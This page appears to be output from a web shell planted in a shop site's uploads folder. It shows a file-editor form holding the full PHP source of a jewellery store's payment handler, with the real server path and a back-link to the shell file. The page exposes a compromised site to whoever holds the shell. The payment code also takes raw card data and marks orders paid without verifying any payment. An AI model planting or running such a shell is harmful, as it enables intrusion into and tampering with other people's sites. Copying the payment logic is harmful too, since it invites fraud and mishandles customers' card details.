<h2>Edit File - save-payment.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u548619843/domains/indusjewellery.com/public_html/ajax/save-payment.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
session_start();
require &#039;../inc/config.php&#039;;
require &#039;../inc/smtp.php&#039;;
require &#039;../vendor/autoload.php&#039;;
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

if (empty($_SESSION[&#039;userID&#039;]) || $_SERVER[&#039;REQUEST_METHOD&#039;] !== &#039;POST&#039;) {
  die(&#039;Unauthorized or invalid request&#039;);
}

$userID  = (int)$_SESSION[&#039;userID&#039;];
$orderID = intval($_POST[&#039;order_id&#039;] ?? 0);
$method  = $_POST[&#039;method&#039;] ?? &#039;&#039;;

if (!$orderID || !in_array($method, [&#039;card&#039;, &#039;paypal&#039;, &#039;bank&#039;], true)) {
  die(&#039;Invalid payment data&#039;);
}

$res = mysqli_query($con, &quot;SELECT payment_status, shipping_cost, total, discount_amount, coupon_code
FROM orders WHERE order_id={$orderID} AND user_id={$userID}&quot;);
if (!$res || mysqli_num_rows($res) === 0) die(&#039;Order not found&#039;);
$order = mysqli_fetch_assoc($res);

if ($order[&#039;payment_status&#039;] === &#039;paid&#039;) {
  header(&quot;Location: ../thankyou.php?order_id={$orderID}&quot;);
  exit;
}
$details = [];
$pmethod = &#039;&#039;;
if ($method === &#039;card&#039;) {
  $cn = trim($_POST[&#039;card_number&#039;] ?? &#039;&#039;);
  $ce = trim($_POST[&#039;card_expiry&#039;] ?? &#039;&#039;);
  $cv = trim($_POST[&#039;card_cvv&#039;] ?? &#039;&#039;);
  if (!$cn || !$ce || !$cv) die(&#039;Incomplete card data&#039;);
  $details = [&#039;last4&#039; =&gt; substr(preg_replace(&#039;/\D/&#039;, &#039;&#039;, $cn), -4), &#039;expiry&#039; =&gt; $ce];
  $pmethod = &#039;credit-card&#039;;
} elseif ($method === &#039;paypal&#039;) {
  $pmethod = &#039;paypal&#039;;
} else {
  $tx = trim($_POST[&#039;bank_txn&#039;] ?? &#039;&#039;);
  if (!$tx) die(&#039;Transaction reference required&#039;);
  $details = [&#039;txn_ref&#039; =&gt; $tx];
  $pmethod = &#039;bank-transfer&#039;;
}

$det_json = mysqli_real_escape_string($con, json_encode($details));
mysqli_query($con, &quot;UPDATE order_payments SET details=&#039;{$det_json}&#039;, status=&#039;completed&#039; WHERE order_id={$orderID}&quot;);
mysqli_query($con, &quot;UPDATE orders SET payment_status=&#039;paid&#039;, order_status=&#039;paid&#039; WHERE order_id={$orderID}&quot;);
$itemsForSales = mysqli_query($con, &quot;SELECT p_id, qty FROM order_items WHERE order_id = {$orderID}&quot;);
if ($itemsForSales) {
  while ($saleItem = mysqli_fetch_assoc($itemsForSales)) {
    $pid = (int)$saleItem[&#039;p_id&#039;];
    $qty = (int)$saleItem[&#039;qty&#039;];
    mysqli_query($con, &quot;UPDATE products SET sales_count = sales_count + {$qty} WHERE id = {$pid}&quot;);
  }
}

if (!empty($order[&#039;coupon_code&#039;])) {
  $codeEsc = mysqli_real_escape_string($con, $order[&#039;coupon_code&#039;]);
  mysqli_query($con, &quot;UPDATE coupons SET used_count = used_count + 1 WHERE code=&#039;{$codeEsc}&#039; AND status=1&quot;);
}
unset($_SESSION[&#039;coupon&#039;]);

$mail = new PHPMailer(true);
try {
  configureMailer($mail);
  $baRes = mysqli_query($con, &quot;SELECT first_name, last_name, email FROM order_addresses 
  WHERE order_id={$orderID} AND type=&#039;shipping&#039; LIMIT 1&quot;);
  $ba = mysqli_fetch_assoc($baRes);
  $name = trim(($ba[&#039;first_name&#039;] ?? &#039;&#039;) . &#039; &#039; . ($ba[&#039;last_name&#039;] ?? &#039;&#039;));
  $email = $ba[&#039;email&#039;] ?? &#039;&#039;;
  $mail-&gt;addAddress($email, $name);
  $mail-&gt;Subject = &quot;Your Diamond Order #{$orderID} Has Been Confirmed&quot;;
  $mail-&gt;isHTML(true);

  $itemsRes = mysqli_query($con, &quot;SELECT oi.qty, oi.unit_price, p.name FROM order_items oi JOIN products p ON p.id = oi.p_id 
  WHERE oi.order_id={$orderID}&quot;);
  $sub = 0;
  $itemsHTML = &#039;&#039;;
  while ($it = mysqli_fetch_assoc($itemsRes)) {
    $line = $it[&#039;qty&#039;] * $it[&#039;unit_price&#039;];
    $sub += $line;
    $itemsHTML .= &quot;
        &lt;tr&gt;
          &lt;td style=&#039;padding:10px 0;&#039;&gt;{$it[&#039;name&#039;]}&lt;/td&gt;
          &lt;td style=&#039;padding:10px; text-align:center;&#039;&gt;{$it[&#039;qty&#039;]}&lt;/td&gt;
          &lt;td style=&#039;padding:10px; text-align:right;&#039;&gt;AED &quot; . number_format($line, 2) . &quot;&lt;/td&gt;
        &lt;/tr&gt;&quot;;
  }
  $discount = (float)$order[&#039;discount_amount&#039;];
  $net = max(0, $sub - $discount);
  $vat = round($net * 0.05, 2);
  $ship = (float)$order[&#039;shipping_cost&#039;];
  $total = (float)$order[&#039;total&#039;];

  $discRow = $discount &gt; 0
    ? &quot;&lt;tr&gt;
           &lt;td style=&#039;padding:5px 0;&#039;&gt;Discount&quot; . (!empty($order[&#039;coupon_code&#039;]) ? &quot; (&quot; . htmlspecialchars($order[&#039;coupon_code&#039;]) . &quot;)&quot; : &quot;&quot;) . &quot;:&lt;/td&gt;
           &lt;td style=&#039;text-align:right;&#039;&gt;- AED &quot; . number_format($discount, 2) . &quot;&lt;/td&gt;
         &lt;/tr&gt;&quot;
    : &quot;&quot;;

  $body = &quot;
    &lt;table style=&#039;width:100%; max-width:600px; font-family:Arial,sans-serif; margin:auto; border-collapse:collapse;&#039;&gt;
      &lt;tr style=&#039;background:#f9f9f9;&#039;&gt;
        &lt;td style=&#039;padding:30px; text-align:center;&#039;&gt;
          &lt;h2 style=&#039;color:#222;&#039;&gt;Your Diamond Order Has Been Confirmed&lt;/h2&gt;
          &lt;p style=&#039;font-size:16px; color:#444;&#039;&gt;Dear {$name},&lt;/p&gt;
          &lt;p style=&#039;font-size:15px; color:#444;&#039;&gt;We’re pleased to inform you that your payment for order &lt;strong&gt;#{$orderID}&lt;/strong&gt; has been successfully processed.&lt;/p&gt;

          &lt;hr style=&#039;border:none; border-top:1px solid #ccc; margin:20px 0;&#039;&gt;

          &lt;h3 style=&#039;color:#111;&#039;&gt;Order Summary&lt;/h3&gt;
          &lt;table style=&#039;width:100%; border-collapse:collapse;&#039;&gt;
            &lt;thead&gt;
              &lt;tr style=&#039;background:#eee;&#039;&gt;
                &lt;th style=&#039;padding:10px; text-align:left;&#039;&gt;Item&lt;/th&gt;
                &lt;th style=&#039;padding:10px; text-align:center;&#039;&gt;Qty&lt;/th&gt;
                &lt;th style=&#039;padding:10px; text-align:right;&#039;&gt;Total&lt;/th&gt;
              &lt;/tr&gt;
            &lt;/thead&gt;
            &lt;tbody&gt;
              {$itemsHTML}
            &lt;/tbody&gt;
          &lt;/table&gt;

          &lt;table style=&#039;width:100%; margin-top:20px; font-size:15px;&#039;&gt;
            &lt;tr&gt;&lt;td style=&#039;padding:5px 0;&#039;&gt;Subtotal:&lt;/td&gt;&lt;td style=&#039;text-align:right;&#039;&gt;AED &quot; . number_format($sub, 2) . &quot;&lt;/td&gt;&lt;/tr&gt;
            {$discRow}
            &lt;tr&gt;&lt;td style=&#039;padding:5px 0;&#039;&gt;VAT (5%):&lt;/td&gt;&lt;td style=&#039;text-align:right;&#039;&gt;AED &quot; . number_format($vat, 2) . &quot;&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td style=&#039;padding:5px 0;&#039;&gt;Shipping:&lt;/td&gt;&lt;td style=&#039;text-align:right;&#039;&gt;AED &quot; . number_format($ship, 2) . &quot;&lt;/td&gt;&lt;/tr&gt;
            &lt;tr style=&#039;font-weight:bold; font-size:16px;&#039;&gt;
              &lt;td style=&#039;padding:10px 0;&#039;&gt;Total Paid:&lt;/td&gt;
              &lt;td style=&#039;text-align:right;&#039;&gt;AED &quot; . number_format($total, 2) . &quot;&lt;/td&gt;
            &lt;/tr&gt;
          &lt;/table&gt;

          &lt;hr style=&#039;margin:25px 0; border:none; border-top:1px solid #ccc;&#039;&gt;

          &lt;p style=&#039;font-size:14px; color:#444;&#039;&gt;We are now preparing your order for shipment. A shipping confirmation email with tracking information will follow soon.&lt;/p&gt;
          &lt;p style=&#039;font-size:14px; color:#444;&#039;&gt;If you have any questions, please email us at 
          &lt;a href=&#039;mailto:support@diamondaura.com&#039;&gt;support@diamondaura.com&lt;/a&gt;.&lt;/p&gt;

          &lt;p style=&#039;font-size:13px; color:#888; margin-top:30px;&#039;&gt;Thank you for choosing &lt;strong&gt;Diamond Aura&lt;/strong&gt;.&lt;/p&gt;
        &lt;/td&gt;
      &lt;/tr&gt;
    &lt;/table&gt;&quot;;

  $mail-&gt;Body = $body;
  $mail-&gt;AltBody = &quot;Your payment for order #{$orderID} has been received. Total: AED &quot; . number_format($total, 2)
    . (!empty($order[&#039;coupon_code&#039;]) ? &quot; (Coupon &quot; . $order[&#039;coupon_code&#039;] . &quot; saved AED &quot; . number_format($discount, 2) . &quot;)&quot; : &quot;&quot;);

  $mail-&gt;send();
} catch (Exception $e) {
  error_log(&quot;Payment email failed: &quot; . $mail-&gt;ErrorInfo);
}

header(&quot;Location: ../thankyou.php?order_id={$orderID}&quot;);
exit;
?&gt;</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/uploads/products/others/6a3fbcc2deec3_65.php?dir=." class="btn gray">Kembali</a>
              </form>